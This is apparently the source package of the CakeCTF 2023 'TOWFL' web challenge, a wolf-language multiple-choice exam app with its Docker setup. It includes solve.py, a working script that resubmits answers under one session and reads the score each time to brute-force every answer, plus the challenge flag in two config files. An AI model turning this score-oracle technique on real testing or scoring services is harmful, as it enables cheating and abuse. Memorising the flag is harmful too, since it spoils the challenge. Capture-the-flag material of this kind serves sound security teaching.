json.data.questions[i].question; 65 | for (let j = 0; j < 4; j++) { 66 | document.getElementById(`exam-question-${i+1}-${j+1}`) 67 | .innerText = json.data.questions[i].options[j]; 68 | document.getElementById(`exam-ans-${i+1}-${j+1}`) 69 | .checked = submission[n-1][i] === j; 70 | } 71 | } 72 | 73 | // Create "submit" or "go to next" button 74 | const submit = document.getElementById('submit'); 75 | if (n == 10) { 76 | submit.innerText = "Submit"; 77 | submit.onclick = () => { 78 | saveStateLocal(n); 79 | submitAnswers(); 80 | } 81 | } else { 82 | submit.innerText = "Go To Next"; 83 | submit.onclick = () => { 84 | saveStateLocal(n); 85 | document.getElementById(`q${n+1}`).click(); 86 | window.scroll({top: 0, behavior: 'smooth'}); 87 | } 88 | } 89 | 90 | // Show the current link in red 91 | for (let i = 1; i <= 10; i++) { 92 | if (i == n) { 93 | document.getElementById(`q${i}`).children[0].style.color = "red"; 94 | } else { 95 | document.getElementById(`q${i}`).children[0].style.color = "blue"; 96 | } 97 | } 98 | } 99 | 100 | /* Set onclick handlers */ 101 | for (let i = 1; i <= 10; i++) { 102 | document.getElementById(`q${i}`).onclick = async () => { 103 | resetRadioButtons(); 104 | await loadNthQuestion(i); 105 | } 106 | } 107 | document.getElementById('btn-start').onclick = async () => { 108 | // Start the exam 109 | let res = await fetch('/api/start', { 110 | method: 'POST', credentials: 'include' 111 | }); 112 | if (!res.ok) { alert("Server error"); return; } 113 | let json = await res.json(); 114 | if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; } 115 | document.getElementById('start').hidden = true; 116 | document.getElementById('exam').hidden = false; 117 | 118 | // Reset the state 119 | submission = []; 120 | for (let i = 0; i < 10; i++) { 121 | submission.push([]); 122 | for (let j = 0; j < 10; j++) { 123 | submission[i].push(null); 124 | } 125 | } 126 | 127 | // Display the first question 128 | resetRadioButtons(); 129 | loadNthQuestion(1); 130 | } 131 | -------------------------------------------------------------------------------- /web/towfl/distfiles/service/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | TOWFL - Test of Wolf as a Foreign Language 5 | 6 | 19 | 20 | 21 |
22 |
23 |
24 |

TOWFL - Test of Wolf as a Foreign Language

25 |
26 | 27 |
28 |
29 | 53 | 61 |
62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /web/towfl/distfiles/service/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /web/towfl/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: distfiles/service 5 | ports: 6 | - "8888:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/app/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | - FLAG="CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}" 13 | restart: unless-stopped 14 | 15 | redis: 16 | build: distfiles/redis 17 | restart: unless-stopped 18 | -------------------------------------------------------------------------------- /web/towfl/solution/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import os 4 | from tqdm import tqdm 5 | 6 | HOST = os.getenv("HOST", "localhost") 7 | PORT = os.getenv("PORT", "8888") 8 | URL = f"http://{HOST}:{PORT}" 9 | 10 | def get_score(answers): 11 | global cookies 12 | r = requests.post(f"{URL}/api/submit", 13 | headers={"Content-Type": "application/json"}, 14 | data=json.dumps(answers), 15 | cookies=cookies) 16 | r = requests.get(f"{URL}/api/score", cookies=cookies) 17 | return json.loads(r.text)["data"]["score"] 18 | 19 | r = requests.post(f"{URL}/api/start") 20 | cookies = r.cookies 21 | 22 | answers = [ 23 | [0 for i in range(10)] 24 | for j in range(10) 25 | ] 26 | base_score = get_score(answers) 27 | 28 | for i in tqdm(range(10)): 29 | for j in range(10): 30 | for c in range(1, 4): 31 | answers[i][j] = c 32 | score = get_score(answers) 33 | if score > base_score: 34 | base_score = score 35 | break 36 | elif score < base_score: 37 | answers[i][j] = 0 38 | break 39 | if score == 100: break 40 | 41 | r = requests.get(f"{URL}/api/score", cookies=cookies) 42 | print(json.loads(r.text)["data"]["flag"]) 43 | -------------------------------------------------------------------------------- /web/towfl/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "TOWFL" 3 | description: > 4 |

5 | Do you speak the language of wolves?
6 | Prove your skill here! 7 |

8 | flag: "CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}" 9 | author: ptr-yudai 10 | host: towfl.2023.cakectf.com 11 | port: 8888 12 | tags: 13 | - cheat 14 | - web 15 | --------------------------------------------------------------------------------